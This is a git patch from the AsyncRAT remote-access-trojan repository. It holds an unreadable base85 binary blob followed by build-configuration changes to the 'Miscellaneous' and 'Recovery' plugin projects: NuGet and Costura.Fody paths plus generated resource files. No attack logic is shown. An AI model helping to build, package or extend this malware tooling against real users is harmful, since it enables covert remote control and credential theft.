zNSN%rRk?pkwYFXP-jtAYyYl#yD#Tx!vKVpNF}zj$W=gB`e&vHHS?D3u>$Z!J3RXFH zb3e>i|1#w?TfX|wDPMN(R^5g7K-xzI_c?D+rx$+Dd6)Xd!k>WBUAPzV0mL6uh65Z@_!1^u6_^gH#*qH*rushQYsHgPlH zD&(|_ZgDr@dT}pcuXqq}kn?WlyyuD^gR)ILjypw{fbPJ4<0XJsLZ(Ap4VeycJ!Cq> z&5-F3w?L*t+>Trh{97u|0p26_0p2Hm0r;T!72reSb-*97%tysri0?)Jc8I6Ndw|c2 zKLhR)9|OK9{;Al+Yr>)0#9`qEd`pZ2JR&jy{~)qeyZDQk2>3DA>l2ZWxP}+G?YM(; zBA{D22{1#M37Dmv4w$3V0!~yG0^(!}uuy3R3@IxB%am1s6-p=INy=Kl8Olb$Im!TF zokC?TRLHiC3fZqC?Bd*#SVRkQZ8cRJKl2KlX8qJ$EnOih!2a`0dEoyyUKC5DFFI6MG&xy zIj4)SBXu^%YZ;!wum$v5%z+o`wc-J>QSajT4u*ReKEd!!h8Bf68SY@Xhv5?p-(+Y} ziDwGKT83Q=cQD+;@Ck-*GPGEjpJ6S-E`~cSH>o?69UQ;ZVzEAqon7L*i{npl{7n-Q zrv*14QLeT}ebzpOvO-{AwoR?uO!!Cw9817;C1j9EO(!Eb;%dm^#4u*ReKEd!!h88<< zcG;=i$1>iv-r&wR-nD+>eoI8%cC2aUj^hmz5yD!F{!TE%5;H6{!!o4V@tcNU7JlU> z{X{dQb8-5sG{Y)0oNk76Ym)v>Ht|!;@KiILVTLo!aF!X)Hp4k)c$yiW4tYA{)gf#` zST7v58rvDRGi|-LJ8XB`zHfWP_6yr<-67$27+* zN42BgvCi>zhr?OuEO*Xw);Je9yPcOiuXEn!Jmj3{`kL$8u4i2bTray6_i64%_e%G< z?u*t2k3e9YNX;6ID7jx5H%LNyiGNx)78HUrp9*nf^FL4D4!Er-G0x6yvqhc?>B z`loF@pkgOzwf6yLGkifk8}W1~>G!*c=O?Z=(J;@uehc_Z*B=07UWa>*Mc_7f4WKOR zA@_X5_cDBzp_KV^_ZgtS*PZg_qgmmJDFnxJ$8ekXhRw$U` zXe5NW|F6Z33RSG*zP=u9tHR$>zaE4KRm2dWDsa*XxEWvA!ajqbJGWZ_Rrujrz^kC6 zin(tA;B~k!fqhHdlTgL|xaF*h@8a7ys`#Eb6Yz(k1@KX^4Dd0$J5Y=nhrWGVu2=yp z6q{HzwP)%DQ+H3jX{uA;Umq3U(0_0LyM3u+h2s;)H(igr?(w+1LfNDIHlT=V_%6FAhIQ+gckHd$R zr3mLMKU7xbVDAyLSU=N$qHN>vF*AI^41da@P@YnDar!gL4G4wuoN{Llx`y(CaxX$% z`ML4~4)-gMad=R9k;7joZ*%yP@*an;DE~kxlvfpdF6H~Rl9y{m__|Wc;TuXN!u6E` zH(;A);a{6juE$AvNYS>Thr{xzzi;Q!^JwZ%5r2T-k+iAe0qba*BL2#JM91(D`*0)P z0be>5Z8Z(OvmCz~QH|R))$nGuX!%-V#Xwpd=^pA0pDr4@BK?g$Yxup#nxVnl`qdVq)InrbLFOB?}T!Q+cwll-+{2Yr6)ads4?l1&QY~QfnLW zifcG67uc6{_JwPDqxh!Emio;-u{6VQ1=5pZX*sEKt&zyQo^@$NY30TE_(~6JJF>7* zsf#;f8)f~umzl;*W#(oQ3;AO&Ej{b{JL!uqG0_<5>`t^tZztZ5N_?WFb<03Fi7XEH zMWS1nM4E6_%o3V92j}$;QWDw-X-kI&2ZjdCMAOzI&6LzhEU8cMC4`Em1Sz4%ar;NZ z8qtEj(Ho``MScHJUpU%17>Q!EEM3yDWd2eyuc38uO%q33>K81oU((uvUvs-iV68Rt z8tX;F;+h5Z9d%1vIu_Q~)YUhOIpGeN<@9hz$9(ke?s-FN*M_4NCb?=9z0%A-zoD@{ zA;6Sa(^}I}*U(&F+qx8mO5)O{)`q1^Y8pqfLNi%*OMx6 z==3VKHJXOno4ic|r*6-9;wwUCvx$^{Te@ZghM7q9Z)&zg>%x7RgD_UUAlwfx)g>A+ zd{)E6X7jG;4FfaXUmAZpgIM0#I~11vG}S9eNL^2CAQJ0@kR(6#7w(H)ow30>IDvJY zaKq(YL?7v8g*mWBQp;%=kT*^9gQ7OlzbPCY6n!a|*_ZOKbv^88;QUrsi9Yt(i#rF9 z2`*mD$G_ORB;1MaHz)}U!h>jWL8{}6OkvTtbnV($c(C#mn5M61FedYvE?d;X=?sPw z80GC*w|=l?ea~8m!{?U-NR8pOqbMdn7f6G@d#EeiO7HvEbazWFq+IsB+wd;F&yTy|5=D~zL8!qOWF29eWtDEjSOs=AC2^xK2|nPOi)=QU#gLk zoswI-KHRmjroX#6JkZ$_t?wUKYqGeOtX)TH7XSn;Jz+b8VXM zYH3)oq^5OQbHbl3g$Ef;gPTc_>Xrf}=hCCWfXsNGhu3gyCRMWaprb3UU&Gj9%OY7=8YL>Mw zT-niBzZ_Tpnp-<+mo>M*6o^UJOfm906v90(qp+@_rg7;4inX*hH!R`Ue5gu(3`B}j zSW{bD-&o&V1J_Dub1kVzvBmW*E%4{2vuy2H(7be6Q(DOqPn5d6zPSbdm@?KiE@)U% z+qkT*p0K9IWeb`bYuYKkyseIcnk5aX3IIvSSlGI_Q7pk1E5zc+rZBsgCd{j%DH^7k zRV?e@*dIBkpOzv5YY?$)$r($Qu2@3tSG%+cvr%(xQ%wV^g$VT$1Px1|7!y#%mU^*d zX={R8MkRT1ee;5PmccP81uelOgh_%audb!ljLmDTsXb!}OeIzW zO%g8aABYSL^>#)Hoq4i^BZ$*0i8#G-B(Z{t6)7SO2`Sf%L6{kXghZ@D)ZkMfeR8oC z?ry+8X1$pQ+(-%y){zt%q6rF3LOh;F5O@${nLw#AIf(HgJo0aFcYSCz49)(*&Ypg( zU#QrnYegczR3m}0c=9_^QUgh8S=cZi9kYg}d3@D`77{J3%jU5!pAUz~dHNDd&!ihk zM$)GaQnWSN*&iFg8~}fv^gbM;^&MA^G)Q+r#Fi)^QP-4nVTxP|$jO`tqbK;5FwYL7 zC8sOH5(O)fC@jg&wdo@?)=(Eq`1-^GF14gw+}V$1Zd71~<8KfGPcSdQ+xB>**xE_! zaAAILu%Ul#B*|>j*cJ)V34v6nL^^emM4ae}kLV=Hcqk{vUA8;jdF4_iQ`Bu zKEV?;drS?RE49Ed=iZjSNMvxmxmJ+VCiU+`9WetW*Eng58mxB)(?qpKgs<xgq2!~N?9*Nb!JX3rbtgezL$jd-_o}x(%Z_D zNiq-9Ft)G|S-N)V01cDQUejo`>pP>JUC4`G($f_a%X^}OL!G_wa8Nmh^2s`jJ2yn4 zjXnJv!%_45o&v@kO_K6!=^`4fRo8{GTO)nlt$y~5qFCLx~7;C%~OJ6vJ{&lj;jZpp5(x|3f$_Va} z6yj+aS`*{1qK@DjL#0`+%4Ff^i-c+Dq1}wjmcWXf)^fD=O-d2?fY;~-lBPwocWtC` z6~!EsMyieUVRfGpJTQ_6MGcrNw8RKUX=KEby{masC)ScAE+)v{bv;p-8Bgz(Bhjjn z==723Nh8sdN1~^UL{A-w&KQZ#9Eny|jKW9hRXIwr%2AqCj#901lx}!BN^Wm(hcXAr zs4>%@@EVA0!kmO48s0%r&Xq+)5gyJ!W2p@UK| zO4s$XcnGI3yg59$g%x16F*o5ck`e}@*yLM3)W1<;&>$LKyJpLv%oaPRlU5*HweaQv zvQ9MC#p9BnCJB@KJ&4rzcPHcMr#!FIoE0N3B+58VHzQLq=`Dyxh6Z@m08fyPAuUOk zkt8>k7yqZdtBZ~6xXyEzclX|<#3k>Q<*Wd*y>69SK}BLIaV0Z|YA=5zu@)tYKeiRf zkoV`3yzp{&y}J~}#6fmZw?G5Eqz{ez(jTBLZ1lwiinc*(pe~xGE?giF36KJQ@Iz1p zP2uXn22>QT`+aBT?k*|G=tKL^ApDvCIWu$SoHH}$+&lLmoaR=E$4v!a4xkL+M5;Yu zt%@o|WCwW9M-?n3rRZ|VqcH+2RmkiX0$8;5dRvOXTfh&rs93smO}+OiMK7#`)z(Vb zTn>4!T`9V8C_Z0pZnV%gU{oQ18uexyT3gi=?HFzsYPRFP>$W6L?nigqM3iiJ25}{t zjAqTOh0U5-44XC0^UWHe)-KDvdI)T^D3J&N>4R_v^>+&@!co(pCX(4hN`Ko!i4Ri3 zRt)_*5Gfh_#psiz+MulmanIm%uZPmg-W*A537UeI+FPoqy?$XC;GTw2l(R2a^r*6E z)^-j;=mcU+ChAWwV-UHMq97z&Bw)R)VL9A zcras?ViV*N>i|q)ZseqR0ar8bQz6u1(%}A`3IL60H5WoLw9$Zo=v{dYOM%$;)P9|~~jKTRO&F(_{2m^$< z?-HShR z*r1_gP0!xGYDsyuC&Fl3i=r|$fSO2)Dw2%_HmOpZ;;Busqg$x#VGp8clwoJ$j$npy zV6I68(x$>`1v@XEAez+aan`89gTUwB4ua%%SXGg>At*?B>=D53=o*!Cv>+MXx+tQ0 zhcIEm&=_HMV#9*l%GNYIT+S&?hGmt80kp}mv(wUMbcCqvTXEBqt)VAhrwTXjSx!A0zsvg7M zm11pcmr}agklk>(Bwkeyu3S>vF%Y$_55>KBIi~6Air@f)5t8B>FtGBfsy43~Y+=FM zW`C95x@=d<3mi`E1?}C?o|f!2BiT`Cjr*M!#JxfHj?B=$xRt$Ce3EJ#>{)J_iK>)U zqqGynN8MF@-T%}QPc-$$8Wy<-mPsrpeS1KpSF1+jwh%1rM*Y0)SgKUwbKtg-A-bdN zCkIC9j;Vqh@hrCed<{!!EI{kp;II>d*Es>LuLv0-pJKusVOPV=m}m>FR=88D?ypB} z97B3`**F=9DmNoJc|DjpU$1ROTf01})Ca~G*A>xO+kdbgY$o8&fsyxXH1?a^r94;% zYMDy7Q*6HcV3tvQ^fS;fRD0z9e%htosM3$c4VnYagBc{A2Qm%zFipEqe(z5~JnclX zXTllPB=*z#K;yiEoc!WRScr;SwYomME`+7stt}pY`?Yi$7!2|NR1{C0Au=KteQfrq zOee@xU?ss>pOez+gEQ1AlY;dus$vBFT+$TQ-M-~Y=(L~T3#}KM*q+EKE96mLc3fBM zd*W+4<@Uw!6oc`eg5g+la~Dy-rWK1GHvg2n#@ZxuK|~u@e~w(X0m3W1p0qlWvPX;Ic{ zF>NrpBx9SyRsr0%f}t+d@g)!}z_m7PgMsP)ye|{!6H~my$^8DQF#mSj7XL6GW%yGU=OLKPF3?qb0Ei>((tO5}@~yL2yj$8Rz}Nxx?r= zy9xBj(V>sQg>bV7d5FP7In__bm{viJumd)?U|p}ZA)l{pN>bl~8|Pi!tycS~>-8)3 zJ&dc~xV4C#6uAoof{jEZDx|@J8u64c2JH+AsWVV0^Jx|}U#&w~L?RZI`_+1TZMVV0 z74&Sq$4)dx#S+(4^C5T|$eSvQG566JdMbAqMVn=y=*w8N#58faq-O?QfC6u|4n&7M zF39Bfqa5l|EsO_SDDjk9tOy4%0QP`d0#8b8lRekNo&F9&L(-Cr;h4%$3^57^lVXJ4 z`Zmau&&9ytgt^9!1%kvN`%VKN<$>l1+mSX}qsf?PG&^$gyG~rMZ#2LfhF{m~m-R-Y zP-{g(t0t}>SYmB76n?STr9N+=zJn)@G*@Csu-B6P3nfVcXismlw?J(1Of-v)ZE96H7kZ~@Iuk#sW&AU=@uGWV@!A%)ltTC<+lM5} z#;8%RiZ~R47y9N@9!S+D1;Fc-IhbM z_4JXZs&zgT zAciE8GVneaHtR@S3#>yix?ZO$RjXC{pr2h_y}Eei?3pQA$f4V=g;hlOU4hkhl{Q&( zB7b%;YpW8OLc5?$6Ew3L?@+J+Lh}`EMnv5~;x#*jsY7%SC$E|fC_WgZH|TO*LZP9G zI2aajpK5?724BI`qtLM7Nzw?|6JUkuHjs+-v2P45*FdoV00zhGpiK{+zHGjCZ zCFx@gPnL4L9Lr#<0bsBv8ghjG;Np+zwShD}12L3GwEBw=wmOe@bU1U7K%Y`-tq-Gy zp1_EOd}0MwFZdNam8{3faglO3vOY~{Odsm$i~UgrxaF4^-$tEQ4?dK1Lbq&*G0k3)8NE}T?;Zxs%oeVOj|r9W2D%WatXNrW-uYNFS$`Y3-CVIPJ+NSM=LATlre-4_MQ+d!Pcs4ZkwQK~RltIzyI3Q2}& z(j>siFA0&wgm?uxC0rD6nB4nqsuPFvt^zwGT{ZitoQF*X*;kV_CfSQ8wFm3$MdXsS z50hs+l@AeRAu$0n4#v1A^eHu z%5vCO+-~G7K~P?SV2k@sAs0hIcx_t9Sa;ysx`idDx4V=*77bUbFI z)HnY0neYDISA)54fBdUI|Bc`Jmm%f;#aC`VcVgy)-*k@q$1T6}I{Xvx@528)eLJwM zjQiHpx4!QEVEBt}knr<<-kTjt`Q!M1%t;;hFC@~*p#aDZ5|%&iKb8(`H5;%i+;#EidWA&lsQs!L+BJsb>K{>d?aam;1V z9dpMf{F5H)kNGD7+%+jj1KU3tM-nOAl^ZlXJMA8nFznlyd68QmA@f0&r-lC5J6G_0bCOBa9RC#TDqSOLt zrus|b=I|v9z&RywP6+^{pvoy!L24Vf^Lw3-@Hdq5Ua~FBi=Ci@SAvwycOUE|9low* zJ8)2}VlRIgv8#)4_~}X{ZQFdm%pTJPs&<;OVLC_X9HoPf-T3I~ePG%Ki=Yp|bxTubtW#u{PSLh87fh zaaP%Xj8}*3f5dw=_Ae#=O4(1Sd&*7^|EIE-aHl1@wxR4fK(b5fQ-XUH;1GL;PKOTP z^ss-Kp+BMXbvVPos3ykOIUAr&(xMB*XHa`0gG8huY$fQpNJv;2?-N8;X3lOjp`1pxNi{t~D1 zI-OZKex6QFCjBFE@29{TXu-kcX7PiTHt>G~X!SSf+(;^nig8e$%S1Rg;7s6d^NcIC z!GJQ%yKXvAh9iY|@A`RsPZ!zjP#p5}CU2R{guc42#>uNfm&gUF=Dk-jde-dRJ%VBc zp+}W)z3ZfDe^O9&*R@kbI-I*e0bHOyf&X!gkFisD%{P@5_IZPx^k;Pb68EFi{~J1g zP3P|tDO(D?eZ7;B(E4pSN|=r~SNfdPM%bm_7mKbD&JCHbBt-*fTtZm_jikg3Sy8!+T@{)0v7 zfg11zp*QQQA!`)BE?%q4W)g4{*~Af*N@UYx8D}Dy9+q&HL7hC2>?fyn5Fh{&@(v!#JN)2VR8SS~+%Nj4knjo$rI5bUxe=$ z$CF?*|3xRzG<_sUNruTu_%DJHtpqvG>->TC-qhZ=adF!?Xx&oli4iLF_T;4i=qs(q zEH!!&MyYcBbZ`mZxGUbqoqRG)Z#$SuEETh6mBBpwi=ag;EqJFK4t~%V6mi`V((=1r z=R02KpRhg!DvQ#ixTgb5wg}0eIEFjYWsN$94>y1Xyv`52&fDxA>Ya7Q5dkM)31Xo0 zF8)T-qe=b(9r#HjogsMMY&I)xB-4(=#_^MM5?Jao&M=FzjyvikF%KgnBcP$o#Q3c9 z1sBkqbUG~+2-HcVL9Aa`u3R+8^ikycd5+LuoERti-66+vZ6|@Tsv#M43K5h@J1N&c zNqC9Wa9VM3``GLJ2P8TmCT#~RC@3g{A8`Kgu-COv$m=G@y>6QC6|sLUCXEZ1=o62O%CU3>zT>mdS|g5f0k(D?+@ z?iG$Y_Cyj9;266L2eRvvi6jPsMiL_qa$ZLWbKQZwwT{W+id()Nphah()-W>TZAr@O zjva|{kN%|b4SG>rDo6}jH;yUJJzP+CCX*ClOeyMhCkbDC04F&eQ@%4K1(49oVBcTo z?jz%M^ImtBgXvCFqPl>J5uDBd$KFe6XUOZk<#pam$R-Nn&5flQsOuOSn{Mceo6uvpeHjve#EieL`J7z8)89Vb|0e!jM2R>jNV;zfN$@*cU}B~SNMYSI9C|-;rrN8fyz8*`&};y_%U+-A%SkOvk;XK&VF~<>s|+XEC>}VI}FD~E=075R3gsGOgoQf zAV;Ss^yGu&UUM_qETr(i;s3|P5XS;^aW#AmFjJ(JF{z#X1t){r#3cY^u{MDY@1di2 z-E53Pw35jZOPS0wmO5)RRk3EOH6^cfO+nFChs8-=?CU)tGPjGjcEYAJqrd)6ftN^( zL%xECLN3%9_+;S?5ZrjizX2Y@OpI$J@3_2aia$bfJ&wY*lT<7GbrVApaL3_#-B-Z- zVE$L|2Z$6S*oPIsd64_EsprUu*j>N#j&5aNdtcLDcNCHqc_L!J<8^^Zv2TPE{9SHDxRM-Bd_I_vR=eiiGl^wOx6dQ|JcHS5!1HAzPc>~f2(xbcV zmMnF{pi|WPr-S&Fx6^?!lV0HW=tq=F4I2Lh1bZ zV!oU|H$8iHCd@rGYYXQ7Pn+OA9Iq`?L@tgcu`7rN`xfXs?LoYDJ;{>Xf&BM~&F&vj zEN3Wg0YXFs))y@?-WL=>Huw;lUC$&!D4-R}aBPMwD>>rWkO5j$yzgclTbH{>0ejEk z0s;RhVe4%c)-RTDOmh&dy&nINtlsrxfk?-2Mf~*3e9$ZXBPm^QA@1WL4vg-jUb*{Y z4p{2lQS=%paIq9|8KEqoC}Mz1ASJ@=Q48mHV=h)n9+&X$xq5=yYO&o1fBR-|X#WtL z$>s2A09*lk^4!c*o4N9AezLN8ZgX-bpFcNQ40E~3&Dn7Jd?}nM=kh2yV&R((Q|Hf; zpm1>qVr)j?%V*rMJpMck0I;z13}LVj!5U(9es{|1ymm;XJ!qw$iuK$NvC{vqlJs$F zJu$ZSa?}8GK${NBFbtrAD%E)MTWcH(&9 z^n)KzW*7e7{Cw|zzpEcI9Q5OZp$`Vi>2#Q(nlPX&7h%#CkrjqwCt>cVp9dVC*MIgS z7~psFSicYFnH=(-Z&q=AZF6z7*6ns^b zq|#Ds5mMqU`!xD$p-*^D&?x*Kgyc$@9LBAGXQ12#4sg#6mgQc{3!)Y*3!KJ*b`Gi= z`R!BQ^%A%99O}_V)bCdgO2_l+EL?`z65HbKI~*O=lz3hrW2pjvMrn*3Dy3^srBd}g z1r;l8W(qp`Cs6MS>TF4kd6a5E-O15v`+^cn)xoqty$Oc6h*GpF5Hgj!m!R^bnv_c1 zI^t&pACS@bc}Dto&A`=)VcMaz@|e99<@O`{nG;;Dpne^F-$k2v_p4Wn_m>QgkN6-C y50*cS$%o - + Debug @@ -34,11 +34,8 @@ 4 - - ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll - - ..\..\..\..\..\LimeUSB-Csharp\LimeUSB-Csharp\IconLib.dll + .\IconLib.dll @@ -68,17 +65,32 @@ + + True + True + Resources.resx + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + + - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/Resources.Designer.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/Resources.Designer.cs new file mode 100644 index 0000000..a05d6b9 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/Resources.Designer.cs @@ -0,0 +1,63 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Miscellaneous.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Miscellaneous.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/Resources.resx b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/Resources.resx new file mode 100644 index 0000000..4fdb1b6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/Resources.resx @@ -0,0 +1,101 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 1.3 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.3500.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.3500.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config index f9dfbde..b4c6840 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config @@ -1,5 +1,5 @@  - - + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj b/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj index a5b3ea5..19d2e43 100644 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj @@ -1,6 +1,6 @@  - + Debug @@ -35,16 +35,16 @@ - ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll + ..\..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll - ..\packages\Newtonsoft.Json.12.0.2\lib\net40\Newtonsoft.Json.dll + ..\..\..\packages\Newtonsoft.Json.12.0.2\lib\net40\Newtonsoft.Json.dll - ..\packages\System.Data.SQLite.Core.1.0.111.0\lib\net40\System.Data.SQLite.dll + ..\..\..\packages\System.Data.SQLite.Core.1.0.111.0\lib\net40\System.Data.SQLite.dll True @@ -71,19 +71,18 @@ - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - + + + - + + \ No newline at end of file